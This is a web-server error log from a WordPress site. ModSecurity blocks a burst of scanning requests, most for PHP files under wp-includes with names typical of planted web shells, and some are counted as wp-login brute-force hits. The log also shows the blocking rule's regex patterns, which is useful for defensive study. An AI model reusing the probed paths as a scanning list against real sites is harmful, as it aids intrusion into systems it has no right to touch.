[Sun Apr 19 02:27:47.220754 2026] [:error] [pid 32167:tid 32242] [client 45.137.126.73:39121] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "aePNI0yD4Jm27Mb3NJiORAAAAJE"]
[Sun Apr 19 02:27:48.239519 2026] [:error] [pid 60910:tid 60930] [client 45.137.126.98:24543] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "aePNJHFWunkyacYqsD1GYQAAAVI"]
[Sun Apr 19 02:27:49.261599 2026] [:error] [pid 60910:tid 60933] [client 45.137.126.54:39125] [client 45.137.126.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aePNJXFWunkyacYqsD1GZgAAAVU"]
[Sun Apr 19 02:28:03.118856 2026] [:error] [pid 60910:tid 60932] [client 45.137.126.100:54263] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "aePNM3FWunkyacYqsD1GsQAAAVQ"]
[Sun Apr 19 02:28:09.081113 2026] [:error] [pid 33517:tid 33542] [client 45.137.126.94:50985] [client 45.137.126.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.94, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aePNOX4Zz-rubR1wiZ-3ygAAANc"]
[Sun Apr 19 02:28:27.271864 2026] [:error] [pid 33517:tid 33532] [client 45.137.126.94:50985] [client 45.137.126.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aePNS34Zz-rubR1wiZ-3_wAAAM0"]
[Sun Apr 19 02:28:32.576696 2026] [:error] [pid 32167:tid 32235] [client 45.137.126.84:20141] [client 45.137.126.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aePNUEyD4Jm27Mb3NJiOngAAAIo"]
[Sun Apr 19 02:28:35.711143 2026] [:error] [pid 32167:tid 32227] [client 45.137.126.84:20141] [client 45.137.126.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "aePNU0yD4Jm27Mb3NJiOsgAAAII"]
[Sun Apr 19 02:28:48.899113 2026] [:error] [pid 32165:tid 32191] [client 45.137.126.72:41009] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aePNYKe2vKwEk_N0Brb9YAAAABY"]
[Sun Apr 19 02:29:02.710406 2026] [:error] [pid 60910:tid 60927] [client 45.137.126.97:31395] [client 45.137.126.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aePNbnFWunkyacYqsD1HMgAAAU8"]
[Sun Apr 19 02:29:07.544827 2026] [:error] [pid 32167:tid 32246] [client 45.137.126.75:30843] [client 45.137.126.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aePNc0yD4Jm27Mb3NJiO_wAAAJU"]
[Sun Apr 19 02:29:13.810355 2026] [:error] [pid 32165:tid 32183] [client 45.137.126.95:64065] [client 45.137.126.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.95, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "aePNeae2vKwEk_N0Brb9gAAAAA4"]
[Sun Apr 19 02:29:15.345399 2026] [:error] [pid 32165:tid 32178] [client 45.137.126.95:64065] [client 45.137.126.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aePNe6e2vKwEk_N0Brb9gQAAAAk"]
[Sun Apr 19 02:29:41.547273 2026] [:error] [pid 60910:tid 60931] [client 45.137.126.68:41457] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aePNlXFWunkyacYqsD1H4wAAAVM"]
[Sun Apr 19 02:29:47.871544 2026] [:error] [pid 32252:tid 32257] [client 45.137.126.61:55557] [client 45.137.126.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aePNm-Xl4Yc-Lt5fJ9ipDwAAAQM"]
[Sun Apr 19 02:29:53.784837 2026] [:error] [pid 32252:tid 32276] [client 45.137.126.61:55557] [client 45.137.126.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "aePNoeXl4Yc-Lt5fJ9ipIAAAARY"]
[Sun Apr 19 02:29:57.063388 2026] [:error] [pid 41277:tid 41290] [client 45.137.126.97:53791] [client 45.137.126.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "aePNpUH3ayszMLZYflsCJQAAAYs"]
[Sun Apr 19 02:30:01.626688 2026] [:error] [pid 32167:tid 32232] [client 45.137.126.89:23331] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "aePNqUyD4Jm27Mb3NJiPuQAAAIc"]
[Sun Apr 19 02:30:07.625979 2026] [:error] [pid 60910:tid 60929] [client 45.137.126.101:22107] [client 45.137.126.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "aePNr3FWunkyacYqsD1IHQAAAVE"]
[Sun Apr 19 02:30:08.650693 2026] [:error] [pid 33517:tid 33519] [client 45.137.126.71:58729] [client 45.137.126.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "aePNsH4Zz-rubR1wiZ-4TQAAAMA"]
[Sun Apr 19 02:30:17.924867 2026] [:error] [pid 60910:tid 60916] [client 45.137.126.79:40223] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aePNuXFWunkyacYqsD1IQwAAAUQ"]
[Sun Apr 19 02:30:21.190823 2026] [:error] [pid 32167:tid 32228] [client 45.137.126.56:48317] [client 45.137.126.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "aePNvUyD4Jm27Mb3NJiPzwAAAIM"]
[Sun Apr 19 02:30:27.211656 2026] [:error] [pid 60910:tid 60923] [client 45.137.126.62:50705] [client 45.137.126.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "aePNw3FWunkyacYqsD1IVAAAAUs"]
[Sun Apr 19 02:30:33.498577 2026] [:error] [pid 32167:tid 32243] [client 45.137.126.82:41977] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aePNyUyD4Jm27Mb3NJiP-gAAAJI"]
[Sun Apr 19 02:30:38.315921 2026] [:error] [pid 33517:tid 33533] [client 45.137.126.67:53141] [client 45.137.126.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "aePNzn4Zz-rubR1wiZ-4YgAAAM4"]
[Sun Apr 19 02:30:44.583763 2026] [:error] [pid 41277:tid 41294] [client 45.137.126.77:45909] [client 45.137.126.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aePN1EH3ayszMLZYflsCWAAAAY8"]
[Sun Apr 19 02:30:57.282987 2026] [:error] [pid 32167:tid 32225] [client 45.137.126.71:23097] [client 45.137.126.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aePN4UyD4Jm27Mb3NJiQWwAAAIA"]
[Sun Apr 19 02:30:58.422001 2026] [:error] [pid 33517:tid 33531] [client 45.137.126.94:33809] [client 45.137.126.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "aePN4n4Zz-rubR1wiZ-4bQAAAMw"]
[Sun Apr 19 02:30:59.446072 2026] [:error] [pid 33517:tid 33529] [client 45.137.126.81:44875] [client 45.137.126.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aePN434Zz-rubR1wiZ-4bwAAAMo"]
[Sun Apr 19 02:31:00.545607 2026] [:error] [pid 32166:tid 32205] [client 45.137.126.65:64581] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aePN5JCHNkWwdiZnafLVIAAAAEc"]
[Sun Apr 19 02:31:03.868163 2026] [:error] [pid 32165:tid 32176] [client 45.137.126.77:56429] [client 45.137.126.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aePN56e2vKwEk_N0Brb9-wAAAAc"]
[Sun Apr 19 02:31:04.885695 2026] [:error] [pid 32252:tid 32276] [client 45.137.126.77:22899] [client 45.137.126.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "aePN6OXl4Yc-Lt5fJ9ipSQAAARY"]
[Sun Apr 19 02:31:09.716667 2026] [:error] [pid 33517:tid 33530] [client 45.137.126.68:39277] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "aePN7X4Zz-rubR1wiZ-4fAAAAMs"]
[Sun Apr 19 02:31:10.738048 2026] [:error] [pid 60910:tid 60934] [client 45.137.126.93:30143] [client 45.137.126.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "aePN7nFWunkyacYqsD1IcQAAAVY"]
[Sun Apr 19 02:31:11.762666 2026] [:error] [pid 32167:tid 32235] [client 45.137.126.64:25019] [client 45.137.126.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aePN70yD4Jm27Mb3NJiQeQAAAIo"]
[Sun Apr 19 02:31:12.778482 2026] [:error] [pid 32167:tid 32229] [client 45.137.126.61:31659] [client 45.137.126.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "aePN8EyD4Jm27Mb3NJiQfQAAAIQ"]
[Sun Apr 19 02:31:16.000744 2026] [:error] [pid 60910:tid 60936] [client 45.137.126.98:20355] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aePN83FWunkyacYqsD1IfQAAAVg"]
[Sun Apr 19 02:31:20.746756 2026] [:error] [pid 60910:tid 60935] [client 45.137.126.88:41861] [client 45.137.126.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "aePN-HFWunkyacYqsD1IjwAAAVc"]
[Sun Apr 19 02:31:27.992096 2026] [:error] [pid 32166:tid 32201] [client 45.137.126.79:56977] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aePN_5CHNkWwdiZnafLVOAAAAEM"]
[Sun Apr 19 02:31:40.183067 2026] [:error] [pid 33517:tid 33531] [client 45.137.126.89:59893] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "aePODH4Zz-rubR1wiZ-4ngAAAMw"]
[Sun Apr 19 02:31:46.155477 2026] [:error] [pid 32167:tid 32232] [client 45.137.126.72:34167] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aePOEkyD4Jm27Mb3NJiQ4gAAAIc"]
[Sun Apr 19 02:31:47.181810 2026] [:error] [pid 60910:tid 60920] [client 45.137.126.104:54975] [client 45.137.126.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aePOE3FWunkyacYqsD1IyAAAAUg"]
[Sun Apr 19 02:31:54.463146 2026] [:error] [pid 32167:tid 32230] [client 45.137.126.98:23993] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aePOGkyD4Jm27Mb3NJiREAAAAIU"]
[Sun Apr 19 02:32:00.885320 2026] [proxy_fcgi:error] [pid 32167:tid 32237] [client 45.137.126.69:43945] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:32:01.436432 2026] [proxy_fcgi:error] [pid 32167:tid 32247] [client 45.137.126.69:43945] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:32:01.947289 2026] [proxy_fcgi:error] [pid 32167:tid 32233] [client 45.137.126.69:43945] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:32:07.401251 2026] [:error] [pid 32167:tid 32246] [client 45.137.126.69:43945] [client 45.137.126.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aePOJ0yD4Jm27Mb3NJiRPQAAAJU"]
[Sun Apr 19 02:32:08.563096 2026] [:error] [pid 32165:tid 32189] [client 45.137.126.93:24019] [client 45.137.126.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aePOKKe2vKwEk_N0Brb-DwAAABQ"]
[Sun Apr 19 02:32:09.709623 2026] [:error] [pid 41277:tid 41293] [client 45.137.126.91:40403] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aePOKUH3ayszMLZYflsC2gAAAY4"]
[Sun Apr 19 02:32:10.759022 2026] [:error] [pid 32167:tid 32225] [client 45.137.126.66:41765] [client 45.137.126.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aePOKkyD4Jm27Mb3NJiRRQAAAIA"]
[Sun Apr 19 02:32:11.842585 2026] [:error] [pid 32167:tid 32243] [client 45.137.126.79:41337] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aePOK0yD4Jm27Mb3NJiRSQAAAJI"]
[Sun Apr 19 02:32:12.911147 2026] [:error] [pid 32166:tid 32215] [client 45.137.126.81:55599] [client 45.137.126.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aePOLJCHNkWwdiZnafLVYwAAAFE"]
[Sun Apr 19 02:32:15.124805 2026] [:error] [pid 32252:tid 32268] [client 45.137.126.102:44717] [client 45.137.126.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "aePOL-Xl4Yc-Lt5fJ9ipjAAAAQ4"]
[Sun Apr 19 02:32:16.157481 2026] [:error] [pid 41277:tid 41296] [client 45.137.126.60:21305] [client 45.137.126.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aePOMEH3ayszMLZYflsC7AAAAZE"]
